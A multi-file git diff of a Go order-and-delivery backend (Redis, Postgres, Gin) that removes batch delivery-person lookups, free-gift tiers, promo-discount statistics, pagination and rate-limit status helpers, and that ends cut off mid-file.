|
||||
|
||||
"github.com/redis/go-redis/v9"
|
||||
)
|
||||
|
||||
var allowedStatuses = map[string]bool{
|
||||
@@ -101,138 +98,6 @@ func ValidateStatuses(statuses string) ([]string, error) {
|
||||
return cleanStatuses, nil
|
||||
}
|
||||
|
||||
// DeliveryPersonDetails regroupe les infos enrichies d'un livreur pour un
|
||||
// affichage en liste (statut, position, queue, compteurs de livraisons).
|
||||
type DeliveryPersonDetails struct {
|
||||
Status string
|
||||
HasLocation bool
|
||||
Latitude float64
|
||||
Longitude float64
|
||||
LocationLastUpdate int64
|
||||
QueueSize int
|
||||
CurrentCommand int
|
||||
TotalDeliveries int
|
||||
CompletedDeliveries int
|
||||
PendingDeliveries int
|
||||
}
|
||||
|
||||
// GetDeliveryPersonsDetailsBatch récupère les infos enrichies de plusieurs
|
||||
// livreurs en quelques allers-retours Redis/DB au lieu d'une requête
|
||||
// complète par livreur (l'ancien pattern faisait ~6-8 requêtes par livreur :
|
||||
// GetUserByUsername + 2 lectures Redis + GetDeliverymanQueueSize +
|
||||
// GetCurrentCommand + 3 COUNT(*) séparés, répété pour chaque livreur de la
|
||||
// liste — coûteux dès que ces écrans sont rafraîchis en polling).
|
||||
func (d *Database) GetDeliveryPersonsDetailsBatch(usernames []string) map[string]*DeliveryPersonDetails {
|
||||
result := make(map[string]*DeliveryPersonDetails, len(usernames))
|
||||
for _, u := range usernames {
|
||||
result[u] = &DeliveryPersonDetails{Status: "offline"}
|
||||
}
|
||||
if len(usernames) == 0 {
|
||||
return result
|
||||
}
|
||||
|
||||
statusKeys := make([]string, len(usernames))
|
||||
currentKeys := make([]string, len(usernames))
|
||||
locationKeys := make([]string, len(usernames))
|
||||
for i, u := range usernames {
|
||||
statusKeys[i] = fmt.Sprintf("delivery:status:%s", u)
|
||||
currentKeys[i] = fmt.Sprintf("delivery:current:%s", u)
|
||||
locationKeys[i] = fmt.Sprintf("delivery:location:%s", u)
|
||||
}
|
||||
|
||||
// MGET regroupe la lecture de toutes les clés d'un type en un seul
|
||||
// aller-retour Redis, quel que soit le nombre de livreurs.
|
||||
if statuses, err := Redis.MGet(RedisCtx, statusKeys...).Result(); err == nil {
|
||||
for i, v := range statuses {
|
||||
if s, ok := v.(string); ok && s != "" {
|
||||
result[usernames[i]].Status = s
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if currents, err := Redis.MGet(RedisCtx, currentKeys...).Result(); err == nil {
|
||||
for i, v := range currents {
|
||||
s, ok := v.(string)
|
||||
if !ok || s == "" {
|
||||
continue
|
||||
}
|
||||
var id int
|
||||
if _, err := fmt.Sscanf(s, "%d", &id); err == nil {
|
||||
result[usernames[i]].CurrentCommand = id
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if locations, err := Redis.MGet(RedisCtx, locationKeys...).Result(); err == nil {
|
||||
for i, v := range locations {
|
||||
s, ok := v.(string)
|
||||
if !ok || s == "" {
|
||||
continue
|
||||
}
|
||||
var loc struct {
|
||||
Latitude float64 `json:"latitude"`
|
||||
Longitude float64 `json:"longitude"`
|
||||
LastUpdate int64 `json:"last_update"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(s), &loc); err == nil {
|
||||
det := result[usernames[i]]
|
||||
det.HasLocation = true
|
||||
det.Latitude = loc.Latitude
|
||||
det.Longitude = loc.Longitude
|
||||
det.LocationLastUpdate = loc.LastUpdate
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// LLEN ne se groupe pas via MGET (ce n'est pas une clé string) : un
|
||||
// pipeline permet quand même de n'envoyer qu'un seul aller-retour réseau
|
||||
// pour les N commandes LLEN.
|
||||
pipe := Redis.Pipeline()
|
||||
queueCmds := make([]*redis.IntCmd, len(usernames))
|
||||
for i, u := range usernames {
|
||||
queueCmds[i] = pipe.LLen(RedisCtx, fmt.Sprintf("delivery:queue:%s", u))
|
||||
}
|
||||
if _, err := pipe.Exec(RedisCtx); err == nil {
|
||||
for i, cmd := range queueCmds {
|
||||
if n, err := cmd.Result(); err == nil {
|
||||
result[usernames[i]].QueueSize = int(n)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Les 3 COUNT(*) par livreur (total / terminées / en cours) deviennent
|
||||
// une seule requête groupée par livreur_assign pour tous à la fois.
|
||||
type countRow struct {
|
||||
Livreur string `gorm:"column:livreur_assign"`
|
||||
Total int `gorm:"column:total"`
|
||||
Completed int `gorm:"column:completed"`
|
||||
Pending int `gorm:"column:pending"`
|
||||
}
|
||||
var rows []countRow
|
||||
err := d.GDB.Raw(`
|
||||
SELECT livreur_assign,
|
||||
COUNT(*) AS total,
|
||||
COUNT(*) FILTER (WHERE status = 'approved') AS completed,
|
||||
COUNT(*) FILTER (WHERE status IN ('assigned', 'en_route', 'livre')) AS pending
|
||||
FROM commandes
|
||||
WHERE livreur_assign IN ?
|
||||
GROUP BY livreur_assign`, usernames,
|
||||
).Scan(&rows).Error
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetDeliveryPersonsDetailsBatch] Erreur comptage: %v", err)
|
||||
} else {
|
||||
for _, r := range rows {
|
||||
if det, ok := result[r.Livreur]; ok {
|
||||
det.TotalDeliveries = r.Total
|
||||
det.CompletedDeliveries = r.Completed
|
||||
det.PendingDeliveries = r.Pending
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// GetLastDeliveryDate récupère la date de la dernière livraison d'un livreur
|
||||
func (d *Database) GetLastDeliveryDate(livreurUsername string) (*time.Time, error) {
|
||||
var result struct {
|
||||
|
||||
@@ -1,59 +0,0 @@
|
||||
package db
|
||||
|
||||
import "gestion/models"
|
||||
|
||||
// ResolveFreeGift retourne la quantité offerte (du même produit) pour un
|
||||
// produit, sa catégorie catalogue et une quantité commandée donnés — le seuil
|
||||
// le plus élevé (BuyQuantity) atteint par la quantité commandée est retenu,
|
||||
// tous seuils confondus pour ce produit (ex: seuils 10g→+1g et 20g→+3g, une
|
||||
// commande de 25g retient +3g, pas +1g).
|
||||
func ResolveFreeGift(settings *models.AppSettings, productID int, category string, quantity float64) float64 {
|
||||
if settings == nil || !settings.FreeGiftsEnabled {
|
||||
return 0
|
||||
}
|
||||
|
||||
var bestBuy, bestFree float64
|
||||
found := false
|
||||
consider := func(tiers []models.FreeGiftTier) {
|
||||
for _, t := range tiers {
|
||||
if t.BuyQuantity <= 0 || t.FreeQuantity <= 0 || quantity < t.BuyQuantity {
|
||||
continue
|
||||
}
|
||||
if !found || t.BuyQuantity > bestBuy {
|
||||
bestBuy, bestFree = t.BuyQuantity, t.FreeQuantity
|
||||
found = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, g := range settings.FreeGifts {
|
||||
if g.Category != category {
|
||||
continue
|
||||
}
|
||||
if g.AllProducts {
|
||||
consider(g.Tiers)
|
||||
continue
|
||||
}
|
||||
for _, pq := range g.Products {
|
||||
if pq.ProductID == productID {
|
||||
consider(pq.Tiers)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
return 0
|
||||
}
|
||||
return bestFree
|
||||
}
|
||||
|
||||
// ResolveFreeGiftQuantity lit les settings courants et applique
|
||||
// ResolveFreeGift — wrapper pratique pour les appelants qui n'ont pas déjà
|
||||
// les settings sous la main (même style que ApplyPromotionToPrice).
|
||||
func (d *Database) ResolveFreeGiftQuantity(productID int, category string, quantity float64) float64 {
|
||||
settings, err := d.GetSettings()
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
return ResolveFreeGift(&settings, productID, category, quantity)
|
||||
}
|
||||
@@ -105,23 +105,6 @@ func InitDB() *Database {
|
||||
log.Fatalf("❌ Erreur migration unit products: %v", err)
|
||||
}
|
||||
|
||||
// Migration: products.stock 2 → 3 décimales, même précision que les quantités commandées (0,001 g)
|
||||
if _, err = database.Exec(`
|
||||
DO $$
|
||||
BEGIN
|
||||
IF EXISTS (
|
||||
SELECT 1 FROM information_schema.columns
|
||||
WHERE table_name = 'products' AND column_name = 'stock'
|
||||
AND numeric_scale IS DISTINCT FROM 3
|
||||
) THEN
|
||||
ALTER TABLE products ALTER COLUMN stock TYPE NUMERIC(10,3);
|
||||
END IF;
|
||||
END
|
||||
$$;
|
||||
`); err != nil {
|
||||
log.Fatalf("❌ Erreur migration products.stock: %v", err)
|
||||
}
|
||||
|
||||
// Migration: baskets.quantity INTEGER → NUMERIC(10,3) pour supporter les quantités fractionnaires (ex: 0.5g)
|
||||
if _, err = database.Exec(`
|
||||
DO $$
|
||||
@@ -157,20 +140,6 @@ func InitDB() *Database {
|
||||
log.Fatalf("❌ Erreur migration command_items.reward_pool_key: %v", err)
|
||||
}
|
||||
|
||||
// Migration: baskets.promo_discount + command_items.promo_discount —
|
||||
// montant (en €) économisé par une promotion de prix sur cette ligne,
|
||||
// capturé une fois pour toutes au moment de AddToBasket (voir
|
||||
// db_basket.go) puis copié tel quel au checkout, pour permettre des
|
||||
// statistiques historiques fiables même si la config de promo change
|
||||
// ensuite (contrairement à un recalcul a posteriori sur les settings
|
||||
// courants, qui donnerait un résultat faux pour les anciennes commandes).
|
||||
if _, err = database.Exec(`ALTER TABLE baskets ADD COLUMN IF NOT EXISTS promo_discount NUMERIC(10,2) NOT NULL DEFAULT 0`); err != nil {
|
||||
log.Fatalf("❌ Erreur migration baskets.promo_discount: %v", err)
|
||||
}
|
||||
if _, err = database.Exec(`ALTER TABLE command_items ADD COLUMN IF NOT EXISTS promo_discount NUMERIC(10,2) NOT NULL DEFAULT 0`); err != nil {
|
||||
log.Fatalf("❌ Erreur migration command_items.promo_discount: %v", err)
|
||||
}
|
||||
|
||||
// Migration: command_items.quantite INTEGER → NUMERIC(10,3) pour supporter les quantités fractionnaires
|
||||
if _, err = database.Exec(`
|
||||
DO $$
|
||||
@@ -421,7 +390,7 @@ func (db *Database) createTables() error {
|
||||
id SERIAL PRIMARY KEY,
|
||||
name VARCHAR(255) NOT NULL,
|
||||
category VARCHAR(100) NOT NULL,
|
||||
stock NUMERIC(10,3) NOT NULL DEFAULT 0,
|
||||
stock DECIMAL(10,2) NOT NULL DEFAULT 0,
|
||||
unit VARCHAR(10) NOT NULL DEFAULT 'u',
|
||||
description TEXT,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
@@ -555,8 +524,6 @@ func (db *Database) createTables() error {
|
||||
`CREATE INDEX IF NOT EXISTS idx_jwt_date_fin ON jwt_tokens(date_fin);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_telephone ON clients(telephone);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_cancellations ON clients(cancellations_count);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_created_at ON clients(created_at DESC);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_users_created_at ON users(created_at DESC);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_amende ON clients(amende) WHERE amende > 0;`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cmd_username ON commandes(username);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cmd_status ON commandes(status);`,
|
||||
|
||||
@@ -326,17 +326,3 @@ func (d *Database) GetProductNameByID(productID int) (string, error) {
|
||||
}
|
||||
return result.Name, nil
|
||||
}
|
||||
|
||||
// CountOpenProductUsage compte les paniers et les commandes non terminées contenant le produit.
|
||||
func (d *Database) CountOpenProductUsage(productID int) (baskets int, commands int, err error) {
|
||||
if err = d.GDB.Raw(`SELECT COUNT(DISTINCT username) FROM baskets WHERE product_id = ?`, productID).Scan(&baskets).Error; err != nil {
|
||||
return 0, 0, fmt.Errorf("erreur comptage paniers: %w", err)
|
||||
}
|
||||
if err = d.GDB.Raw(`
|
||||
SELECT COUNT(DISTINCT c.id) FROM command_items ci
|
||||
JOIN commandes c ON c.id = ci.command_id
|
||||
WHERE ci.product_id = ? AND c.status NOT IN ('cancelled', 'approved', 'livre')`, productID).Scan(&commands).Error; err != nil {
|
||||
return 0, 0, fmt.Errorf("erreur comptage commandes: %w", err)
|
||||
}
|
||||
return baskets, commands, nil
|
||||
}
|
||||
|
||||
@@ -149,13 +149,6 @@ func (d *Database) GetSettings() (models.AppSettings, error) {
|
||||
if err := json.Unmarshal([]byte(row.Value), &promotions); err == nil {
|
||||
settings.Promotions = promotions
|
||||
}
|
||||
case "free_gifts_enabled":
|
||||
settings.FreeGiftsEnabled = row.Value == "true"
|
||||
case "free_gifts":
|
||||
var freeGifts []models.CategoryFreeGiftConfig
|
||||
if err := json.Unmarshal([]byte(row.Value), &freeGifts); err == nil {
|
||||
settings.FreeGifts = freeGifts
|
||||
}
|
||||
case "referral_enabled":
|
||||
settings.ReferralEnabled = row.Value == "true"
|
||||
case "referral_amount":
|
||||
@@ -290,27 +283,6 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
|
||||
return fmt.Errorf("erreur sérialisation promotions: %w", err)
|
||||
}
|
||||
|
||||
if s.FreeGifts == nil {
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{}
|
||||
}
|
||||
for i := range s.FreeGifts {
|
||||
if s.FreeGifts[i].Tiers == nil {
|
||||
s.FreeGifts[i].Tiers = []models.FreeGiftTier{}
|
||||
}
|
||||
if s.FreeGifts[i].Products == nil {
|
||||
s.FreeGifts[i].Products = []models.FreeGiftProductQuantity{}
|
||||
}
|
||||
for j := range s.FreeGifts[i].Products {
|
||||
if s.FreeGifts[i].Products[j].Tiers == nil {
|
||||
s.FreeGifts[i].Products[j].Tiers = []models.FreeGiftTier{}
|
||||
}
|
||||
}
|
||||
}
|
||||
freeGiftsJSON, err := json.Marshal(s.FreeGifts)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur sérialisation free_gifts: %w", err)
|
||||
}
|
||||
|
||||
if s.NowPaymentsCurrencies == nil {
|
||||
s.NowPaymentsCurrencies = []string{}
|
||||
}
|
||||
@@ -352,8 +324,6 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
|
||||
{"points_reward", string(rewardJSON)},
|
||||
{"promotions_enabled", boolStr(s.PromotionsEnabled)},
|
||||
{"promotions", string(promotionsJSON)},
|
||||
{"free_gifts_enabled", boolStr(s.FreeGiftsEnabled)},
|
||||
{"free_gifts", string(freeGiftsJSON)},
|
||||
{"referral_enabled", boolStr(s.ReferralEnabled)},
|
||||
{"referral_amount", strconv.FormatFloat(s.ReferralAmount, 'f', 2, 64)},
|
||||
{"crypto_payment_enabled", boolStr(s.CryptoPaymentEnabled)},
|
||||
|
||||
@@ -362,10 +362,9 @@ func (d *Database) DailyOrdersCount() (int64, error) {
|
||||
|
||||
// ── Résumé global ────────────────────────────────────────────────────────────
|
||||
|
||||
// TotalOrders renvoie le nombre de commandes actives (même périmètre que le
|
||||
// dashboard : pending/assigned/en_route/arrived/livre), filtré par le reset "commandes".
|
||||
// TotalOrders renvoie le nombre total de commandes filtré par le reset "commandes".
|
||||
func (d *Database) TotalOrders(resetAt time.Time) (int64, error) {
|
||||
where, args := statusFilterClause("status IN ('pending', 'assigned', 'en_route', 'arrived', 'livre')", resetAt, "created_at")
|
||||
where, args := statusFilterClause("status != 'cancelled'", resetAt, "created_at")
|
||||
var total int64
|
||||
err := d.GDB.Raw(`SELECT COUNT(*) FROM commandes WHERE `+where, args...).Scan(&total).Error
|
||||
return total, err
|
||||
@@ -380,39 +379,6 @@ func (d *Database) TotalRevenue(resetAt time.Time) (float64, error) {
|
||||
return total, err
|
||||
}
|
||||
|
||||
// TotalPromoDiscount renvoie le montant total (€) des réductions de prix
|
||||
// accordées par des promotions sur les commandes approuvées, filtré par le
|
||||
// reset "revenus" (même périmètre que TotalRevenue, dont c'est un
|
||||
// sous-indicateur). Basé sur command_items.promo_discount, capturé au moment
|
||||
// de AddToBasket — reflète donc les promos réellement appliquées à l'époque,
|
||||
// pas la config de promotions courante.
|
||||
func (d *Database) TotalPromoDiscount(resetAt time.Time) (float64, error) {
|
||||
where, args := statusFilterClause("c.status = 'approved'", resetAt, "c.created_at")
|
||||
var total float64
|
||||
query := `
|
||||
SELECT COALESCE(SUM(ci.promo_discount), 0)
|
||||
FROM command_items ci
|
||||
JOIN commandes c ON c.id = ci.command_id
|
||||
WHERE ` + where
|
||||
err := d.GDB.Raw(query, args...).Scan(&total).Error
|
||||
return total, err
|
||||
}
|
||||
|
||||
// PromoOrdersCount renvoie le nombre de commandes distinctes (approuvées)
|
||||
// ayant bénéficié d'au moins une réduction de prix promo, filtré par le
|
||||
// reset "revenus".
|
||||
func (d *Database) PromoOrdersCount(resetAt time.Time) (int64, error) {
|
||||
where, args := statusFilterClause("c.status = 'approved'", resetAt, "c.created_at")
|
||||
var count int64
|
||||
query := `
|
||||
SELECT COUNT(DISTINCT ci.command_id)
|
||||
FROM command_items ci
|
||||
JOIN commandes c ON c.id = ci.command_id
|
||||
WHERE ci.promo_discount > 0 AND ` + where
|
||||
err := d.GDB.Raw(query, args...).Scan(&count).Error
|
||||
return count, err
|
||||
}
|
||||
|
||||
// ActiveDaysLast30 renvoie le nombre de jours distincts ayant eu au moins une commande sur 30 jours.
|
||||
func (d *Database) ActiveDaysLast30(resetAt time.Time) (int64, error) {
|
||||
where, args := statusFilterClause("status != 'cancelled'", resetAt, "created_at")
|
||||
|
||||
@@ -13,49 +13,12 @@ func (d *Database) CreateUser(user *models.User) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) GetAllUsers(limit, offset int) ([]*models.User, int64, error) {
|
||||
func (d *Database) GetAllUsers() ([]*models.User, error) {
|
||||
var users []*models.User
|
||||
if err := d.GDB.Order("created_at DESC").Limit(limit).Offset(offset).Find(&users).Error; err != nil {
|
||||
return nil, 0, fmt.Errorf("erreur lors de la récupération des utilisateurs: %w", err)
|
||||
if err := d.GDB.Order("created_at DESC").Limit(500).Find(&users).Error; err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des utilisateurs: %w", err)
|
||||
}
|
||||
var total int64
|
||||
if err := d.GDB.Model(&models.User{}).Count(&total).Error; err != nil {
|
||||
return nil, 0, fmt.Errorf("erreur lors du comptage des utilisateurs: %w", err)
|
||||
}
|
||||
return users, total, nil
|
||||
}
|
||||
|
||||
// UserCounts contient les totaux globaux (non paginés) affichés côté admin.
|
||||
// Les usernames présents à la fois dans users et clients ne sont comptés
|
||||
// qu'une fois, comme dans la liste fusionnée du front.
|
||||
type UserCounts struct {
|
||||
All int64 `json:"all" gorm:"column:all_count"`
|
||||
Client int64 `json:"client" gorm:"column:client_count"`
|
||||
Livreur int64 `json:"livreur" gorm:"column:livreur_count"`
|
||||
Cabine int64 `json:"cabine" gorm:"column:cabine_count"`
|
||||
Admin int64 `json:"admin" gorm:"column:admin_count"`
|
||||
}
|
||||
|
||||
func (d *Database) GetUserCounts() (*UserCounts, error) {
|
||||
var counts UserCounts
|
||||
err := d.GDB.Raw(`
|
||||
WITH merged AS (
|
||||
SELECT username, role FROM users
|
||||
UNION
|
||||
SELECT c.username, 'client' AS role FROM clients c
|
||||
WHERE NOT EXISTS (SELECT 1 FROM users u WHERE u.username = c.username)
|
||||
)
|
||||
SELECT
|
||||
COUNT(DISTINCT username) AS all_count,
|
||||
COUNT(DISTINCT username) FILTER (WHERE role = 'client') AS client_count,
|
||||
COUNT(DISTINCT username) FILTER (WHERE role = 'livreur') AS livreur_count,
|
||||
COUNT(DISTINCT username) FILTER (WHERE role = 'cabine') AS cabine_count,
|
||||
COUNT(DISTINCT username) FILTER (WHERE role = 'admin') AS admin_count
|
||||
FROM merged`).Scan(&counts).Error
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du comptage des utilisateurs par rôle: %w", err)
|
||||
}
|
||||
return &counts, nil
|
||||
return users, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetAllDeliveryMen() ([]*models.User, error) {
|
||||
|
||||
@@ -511,21 +511,7 @@ func GetAllUsers(c *gin.Context) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs et aux administrateurs"})
|
||||
return
|
||||
}
|
||||
|
||||
limit := 100
|
||||
offset := 0
|
||||
if limitStr := c.Query("limit"); limitStr != "" {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 && l <= 100 {
|
||||
limit = l
|
||||
}
|
||||
}
|
||||
if offsetStr := c.Query("offset"); offsetStr != "" {
|
||||
if o, err := strconv.Atoi(offsetStr); err == nil && o >= 0 {
|
||||
offset = o
|
||||
}
|
||||
}
|
||||
|
||||
users, total, err := database.GetAllUsers(limit, offset)
|
||||
users, err := database.GetAllUsers()
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_ALL_USERS] Erreur: %v", err)
|
||||
@@ -542,24 +528,12 @@ func GetAllUsers(c *gin.Context) {
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_ALL_USERS] %d users récupérés (offset=%d, total=%d)", len(sanitized), offset, total)
|
||||
log.Printf("✅ [GET_ALL_USERS] %d users récupérés", len(sanitized))
|
||||
|
||||
resp := gin.H{
|
||||
"users": sanitized,
|
||||
"count": total,
|
||||
"has_more": int64(offset+len(users)) < total,
|
||||
}
|
||||
// Totaux globaux par rôle (indépendants de la pagination) : uniquement
|
||||
// sur la première page, c'est là que le front les lit.
|
||||
if offset == 0 {
|
||||
if counts, err := database.GetUserCounts(); err != nil {
|
||||
log.Printf("⚠️ [GET_ALL_USERS] Comptage par rôle impossible: %v", err)
|
||||
} else {
|
||||
resp["counts"] = counts
|
||||
}
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, resp)
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"users": sanitized,
|
||||
"count": len(sanitized),
|
||||
})
|
||||
}
|
||||
|
||||
func GetAllDeliveryMen(c *gin.Context) {
|
||||
@@ -575,39 +549,13 @@ func GetAllDeliveryMen(c *gin.Context) {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération"})
|
||||
return
|
||||
}
|
||||
usernames := make([]string, len(users))
|
||||
for i, u := range users {
|
||||
usernames[i] = u.Username
|
||||
}
|
||||
detailsByUsername := database.GetDeliveryPersonsDetailsBatch(usernames)
|
||||
|
||||
var sanitized []gin.H
|
||||
for _, u := range users {
|
||||
det := detailsByUsername[u.Username]
|
||||
if det == nil {
|
||||
det = &db.DeliveryPersonDetails{Status: "offline"}
|
||||
}
|
||||
entry := gin.H{
|
||||
"id": u.ID,
|
||||
"username": u.Username,
|
||||
"role": u.Role,
|
||||
"status": det.Status,
|
||||
"queue_size": det.QueueSize,
|
||||
"total_deliveries": det.TotalDeliveries,
|
||||
"completed_deliveries": det.CompletedDeliveries,
|
||||
"pending_deliveries": det.PendingDeliveries,
|
||||
}
|
||||
if det.CurrentCommand != 0 {
|
||||
entry["current_command"] = det.CurrentCommand
|
||||
} else {
|
||||
entry["current_command"] = nil
|
||||
}
|
||||
if det.HasLocation {
|
||||
entry["location"] = gin.H{"latitude": det.Latitude, "longitude": det.Longitude}
|
||||
} else {
|
||||
entry["location"] = nil
|
||||
}
|
||||
sanitized = append(sanitized, entry)
|
||||
sanitized = append(sanitized, gin.H{
|
||||
"id": u.ID,
|
||||
"username": u.Username,
|
||||
"role": u.Role,
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_ALL_USERS] %d users récupérés", len(sanitized))
|
||||
@@ -627,33 +575,16 @@ func GetAllClients(c *gin.Context) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs et aux administrateurs"})
|
||||
return
|
||||
}
|
||||
|
||||
limit := 100
|
||||
offset := 0
|
||||
if limitStr := c.Query("limit"); limitStr != "" {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 && l <= 100 {
|
||||
limit = l
|
||||
}
|
||||
}
|
||||
if offsetStr := c.Query("offset"); offsetStr != "" {
|
||||
if o, err := strconv.Atoi(offsetStr); err == nil && o >= 0 {
|
||||
offset = o
|
||||
}
|
||||
}
|
||||
|
||||
clients, total, err := database.GetAllClients(limit, offset)
|
||||
clients, err := database.GetAllClients()
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_ALL_CLIENTS] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération"})
|
||||
return
|
||||
}
|
||||
|
||||
limited := rateLimitedClients(clients)
|
||||
|
||||
var sanitized []gin.H
|
||||
for _, cl := range clients {
|
||||
sanitized = append(sanitized, gin.H{
|
||||
"rate_limited": limited[cl.Username],
|
||||
"id": cl.ID,
|
||||
"username": cl.Username,
|
||||
"nom": cl.Nom,
|
||||
@@ -665,16 +596,14 @@ func GetAllClients(c *gin.Context) {
|
||||
"cancellations_count": cl.CancellationsCount,
|
||||
"last_penalty_reason": cl.LastPenaltyReason,
|
||||
"referral_balance": cl.ReferralBalance,
|
||||
"parrain": cl.Parrain,
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_ALL_CLIENTS] %d clients récupérés (offset=%d, total=%d)", len(sanitized), offset, total)
|
||||
log.Printf("✅ [GET_ALL_CLIENTS] %d clients récupérés", len(sanitized))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"clients": sanitized,
|
||||
"count": total,
|
||||
"has_more": int64(offset+len(clients)) < total,
|
||||
"clients": sanitized,
|
||||
"count": len(sanitized),
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -7,7 +7,6 @@ import (
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
@@ -15,26 +14,11 @@ import (
|
||||
|
||||
var (
|
||||
cancelRateLimitMap = make(map[string][]time.Time)
|
||||
cancelRateLimitMu sync.Mutex
|
||||
cancelMaxRequests = 5 // Max 5 annulations
|
||||
cancelTimeWindow = time.Hour // Par heure
|
||||
)
|
||||
|
||||
func isCancelRateLimited(key string) bool {
|
||||
cancelRateLimitMu.Lock()
|
||||
defer cancelRateLimitMu.Unlock()
|
||||
return countRecent(cancelRateLimitMap[key], cancelTimeWindow) >= cancelMaxRequests
|
||||
}
|
||||
|
||||
func resetCancelRateLimit(key string) {
|
||||
cancelRateLimitMu.Lock()
|
||||
defer cancelRateLimitMu.Unlock()
|
||||
delete(cancelRateLimitMap, key)
|
||||
}
|
||||
|
||||
func checkCancelRateLimit(key string) bool {
|
||||
cancelRateLimitMu.Lock()
|
||||
defer cancelRateLimitMu.Unlock()
|
||||
now := time.Now()
|
||||
|
||||
if timestamps, exists := cancelRateLimitMap[key]; exists {
|
||||
@@ -83,7 +67,7 @@ func CancelCommandByClient(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
rateLimitKey := cancelRateLimitKey(username)
|
||||
rateLimitKey := fmt.Sprintf("cancel:%s", username)
|
||||
if !checkCancelRateLimit(rateLimitKey) {
|
||||
log.Printf("⚠️ [CANCEL_CLIENT] Rate limit dépassé pour %s", username)
|
||||
c.JSON(http.StatusTooManyRequests, gin.H{
|
||||
@@ -404,12 +388,9 @@ func DeleteCommandByCabine(c *gin.Context) {
|
||||
if err != nil {
|
||||
log.Printf("❌ [DELETE_COMMAND] Erreur: %v", err)
|
||||
|
||||
switch err.Error() {
|
||||
case "commande non trouvée":
|
||||
if err.Error() == "commande non trouvée" {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
case "commande déjà livrée/approuvée: suppression impossible":
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Commande déjà livrée/approuvée - utilisez l'annulation plutôt que la suppression"})
|
||||
default:
|
||||
} else {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la suppression"})
|
||||
}
|
||||
return
|
||||
|
||||
@@ -1,82 +0,0 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"gestion/middleware"
|
||||
"gestion/models"
|
||||
"gestion/utils"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func cancelRateLimitKey(username string) string {
|
||||
return "cancel:" + username
|
||||
}
|
||||
|
||||
func ownAddressRateLimitKey(username string) string {
|
||||
return "update_own_addr:" + username
|
||||
}
|
||||
|
||||
// rateLimitedClients renvoie les usernames actuellement bloqués par l'un des
|
||||
// rate limits client : requêtes panier/commande (Redis), annulations et
|
||||
// modification d'adresse (mémoire). Un seul MGET pour toute la liste.
|
||||
func rateLimitedClients(clients []*models.Client) map[string]bool {
|
||||
limited := make(map[string]bool)
|
||||
if len(clients) == 0 {
|
||||
return limited
|
||||
}
|
||||
|
||||
keys := make([]string, len(clients))
|
||||
for i, cl := range clients {
|
||||
keys[i] = middleware.ClientRateLimitKey(cl.ID)
|
||||
}
|
||||
counts, err := db.Redis.MGet(db.RedisCtx, keys...).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [RATELIMIT_STATUS] Erreur Redis: %v", err)
|
||||
}
|
||||
for i, v := range counts {
|
||||
s, ok := v.(string)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if n, err := strconv.Atoi(s); err == nil && n > middleware.ClientRateLimitMax {
|
||||
limited[clients[i].Username] = true
|
||||
}
|
||||
}
|
||||
|
||||
for _, cl := range clients {
|
||||
if isCancelRateLimited(cancelRateLimitKey(cl.Username)) || isRateLimited(ownAddressRateLimitKey(cl.Username)) {
|
||||
limited[cl.Username] = true
|
||||
}
|
||||
}
|
||||
return limited
|
||||
}
|
||||
|
||||
// ResetClientRateLimitAdmin lève tous les rate limits d'un client.
|
||||
// POST /api/v2/admin/protected/client/:username/ratelimit/reset
|
||||
